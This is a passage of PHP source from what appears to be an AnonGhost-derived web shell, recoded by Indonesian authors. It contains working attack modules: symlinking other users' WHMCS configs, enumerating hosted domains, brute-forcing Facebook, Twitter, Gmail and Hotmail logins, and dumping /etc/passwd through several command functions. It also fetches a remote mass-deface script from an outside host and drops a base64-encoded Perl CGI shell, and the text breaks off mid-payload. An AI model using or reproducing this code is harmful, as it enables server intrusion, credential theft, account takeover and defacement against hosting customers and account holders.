symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
}
#############################
if(is_readable("/var/named")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td>
<center><b>USER</b></center></td>
<td></center><b>SYMLINK</b></center></td>';
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$i += 1;
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
<td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
}
echo "<center>Total Domains Found: ".$i."</center><br />";
}else{
echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
break;
##################################
error_reporting(0);
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);
if(is_readable("/etc/passwd")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
$list = scandir("/var/named");
foreach($etcz as $etz){
$etcc = explode(":",$etz);
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner['name'] == $etcc[0])
{
$i += 1;
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}}}}
echo "<center>Total Domains Found: ".$i."</center><br />";}
break;
###############################
if(is_readable("/etc/named.conf")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
$named = file_get_contents("/etc/named.conf");
preg_match_all('%zone \"(.*)\" {%',$named,$domains);
foreach($domains[1] as $domain){
$domain = trim($domain);
$i += 1;
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
echo "<center>Total Domains Found: ".$i."</center><br />";
} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
break;
############################
if(is_readable("/etc/valiases")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td>
<center><b>USER</b></center></td><td></center>
<b>SYMLINK</b></center></td>';
$list = scandir("/etc/valiases");
foreach($list as $domain){
$i += 1;
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
echo "<center>Total Domains Found: ".$i."</center><br />";
} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
break;
}}
##########################
#Kerupuk X Sinkaroid
##########################################
#######################
########################
# JAAAAAAAAAAAAANCCCCCCCCCCCOOOOOOOOOOOOOK
##################
# recode by Sinkaroid ft Kerupuk
#########################
#gue kasih skat biar ga pusing :v
##################################
//////////////////
########################################################################
########################################################################
#########################################################################
# END
############## MYSQL ########################################
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'fbrute')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=fb" method="post">
<br><br><center><b><font size=4>-=Facebook BruteForce=-</font></b></center><br><br>
<?php
ob_start();
@set_time_limit(0);
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014 #
# Coded by : Mauritania Attacker&Noname-Haxor #
# Greetz : All AnonGhost Members #
# WWW.HAURGEULIS-SECURITY.COM #
# --------------------------------------------- #
#################################################
echo "
<head>
<form method='POST'>
</head>";
echo "
<body text='white' bgcolor='black' >
<center></center>
<center>Gunakan ini dengan TOR BROWSER + TOR SWITCHER (ganti IP setiap 2 Menit Supaya Gak DIblok FB cok :v)</center>
<p dir='ltr' align='center'>
<textarea class='inputz' name='username' cols='42' rows='14'>Username Target Lu Cok</textarea>
<textarea class='inputz' name='password' cols='42' rows='14'>Wordlist Password Target Lu Cok</textarea><br>
<br>
<input class='inputzbut' type='submit' name='scan' value='Start BruteForce'><br></p>";
if(isset($_POST['scan'])){
#To Put Proxy SOCKS V5
//curl_setopt($ch, CURLOPT_PROXY, "proxy:port");
//curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
function brute($user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font> Password : <font color='green'>$pass</font></font></p>";
}
}
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}
}
}
echo"<br>
<br>
<br>
<br>
<center><p><b><font color='#FFFFFF'><br><font color='#FFFFFF'>Coded by : Mauritania Attacker & Noname-Hax0r</font></b></p></center>";
}
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tbrute')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=tintin" method="post">
<br><br><center><b><font size=4>-=Twitter Multi-Account BruteForce=-</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://img1.wikia.nocookie.net/__cb20100818011300/lostpedia/images/f/f1/Twitter-icon.png'/>
<form method='POST'>
<title>Andela Yuwono Pacar Mr.HaurgeulisX196</title>
</head>
";
echo "<p dir='ltr' align='center'>
<textarea class='inputz' cols='42' class='area' rows='14' name='username'>Username</textarea>
<textarea class='inputz' cols='42' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' class='inputz' value='Attack Now'><br></p><br>";
if($_POST['username'] and $_POST['password']){
#function
function brute($user,$pass)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
# cURL - Brute Users & Password
$login = curl_exec($ch);
if(eregi("error notice", $login)){
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font> Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font> GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
}
}
# POSTS
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
# Foreach Users N' Textarea
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
brute($users,$pass); }}
# cURL
}
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker</font></p>";
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'gbrute')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=syahrul" method="post">
<br><br><center><b><font size=4>-=Gmail & Hotmail BruteForce=-</font></b></center>
<p><br>
<center>
<center>
<br>
<?php
set_time_limit(0);
error_reporting(0);
class s1{
private $adres = array(
'gmail' => '{imap.gmail.com:993/imap/ssl}',
'hotmail' => '{pop3.live.com:995/pop3/ssl}'
);
private $imap;
function __construct($gelen1,$gelen2){
$uname = explode("
",$gelen1);
$pwd = explode("
",$gelen2);
foreach($pwd as $pass){
$pass = trim($pass);
foreach($uname as $user){
$user = trim($user);
if(preg_match('@gmail@si',$user)){
$this->baglan($this->adres["gmail"],$user,$pass);
}else{
$this->baglan($this->adres["hotmail"],$user,$pass);
}
}
}
}
public function baglan($url,$user,$pass){
$this->imap = imap_open($url,$user,$pass);
if($this->imap){
echo "<span id='cikti' >$user => $pass </span><br
/>";
}
}
function __destruct(){
imap_close($this->imap);
}
}
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.hondupalmahn.com/imagenes/gmail.png'/>
<form method='POST'>
<title>Gmail Brute Force 2015</title>
</head>";
echo '<br /> <center><div id="form">
<form id="form" method="POST" >
<textarea class="inputz" cols="42" class="area" name="mail" rows="14"
cols="28">Email Target Lu Disini Cok ^_^</textarea>
<textarea class="inputz" cols="42" class="area" name="sifre" rows="14"
cols="28">Password List Lu Disini Cok ^_^</textarea> <br /> <br />
<input class="inputz" type="submit" id="submit" value="Brute !" />
</form><br>
</div>
<div id="sonuc"> ';
if($_POST){
$mails = $_POST["mail"];
$sifre = $_POST["sifre"];
if((isset($mails)) and (isset($sifre))){
$s1 = new s1($mails,$sifre);
}
}
echo '</center></div> ';
}
/////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sabun'))
{
?>
<center>
<br>
<center>
<div id="menu">
<a href="?<?php echo "y=".$pwd; ?>&x=sabun">Sabun Massal</a> <a href="?<?php echo "y=".$pwd; ?>&x=massdeface2">Alternate Mass Deface</a> <a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a><br>
<br>
<b>-= Sabun Massal By HsH =- <br>
</b><br>
Becarefully :)
<?php
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41jo/sabun1.php";
error_reporting(0);
if (file_exists('p41jo/sabun1.php')) {
echo '<br>Location : <br>'.$pwd.'p41jo/sabun1.php' ;
echo '<center><br><div id="menu"><br><br><a href="blackhat/sabun1.php" target="_blank">Click Here</a></center>';
} else {
mkdir("p41jo", 0777);
file_put_contents('p41jo/sabun1.php', file_get_contents('https://sites.google.com/site/bhshll123/sabunhsh.txt'));
echo '<center><div id="menu"><br><br><a href="p41jo/sabun1.php" target="_blank">Click Here</a></center>';
}
?>
<?php
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'grasy'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass /etc/passwd Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="syst">
</form>
</center>
</p>
<p><center>Bypass with Passthru Function
<form method="post">
<font face="Tahoma" color="#007700" size="2pt">
<input class="inputzbut" type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with posix_getpwuid Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="mauritania">
</form>
</center><br>
</p>
<center>';
//System Function //
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//Passthru Function //
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//exec Function //
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//exec Function //
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '</center>
<center>';
//posix_getpwuid Function //
if($_POST['mauritania'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'nemcon'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Users Server Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '
<div ><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with awk program
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="awk">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="syst">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with Passthru Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p><center>';
//Awk Program //
if ($_POST['awk']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//System Function //
if ($_POST['syst']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//Passthru Function //
if ($_POST['passth']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//exec Function //
if ($_POST['ex']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//exec Function //
if ($_POST['shex']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgipl'))
{
mkdir('cgipl', 0755);
chdir('cgipl');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddType application/x-httpd-cgi .root
AddType application/x-httpd-cgi .root
AddHandler cgi-script .root
AddHandler cgi-script .root";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgipl = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5Bbm9uR2hvc3QgUGVybCBzaGVsbDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZ2hvc3QiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QW5vbkdob3N0IFBlcmwgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJBbm9uR2hvc3QsQW5vbkdob3N0LEFub25HaG9zdC5pbmZvLGhhY2tlciI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW5vbkdob3N0LEFub25HaG9zdCxBbm9uR2hvc3QuaW5mbyxoYWNrZXIiPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg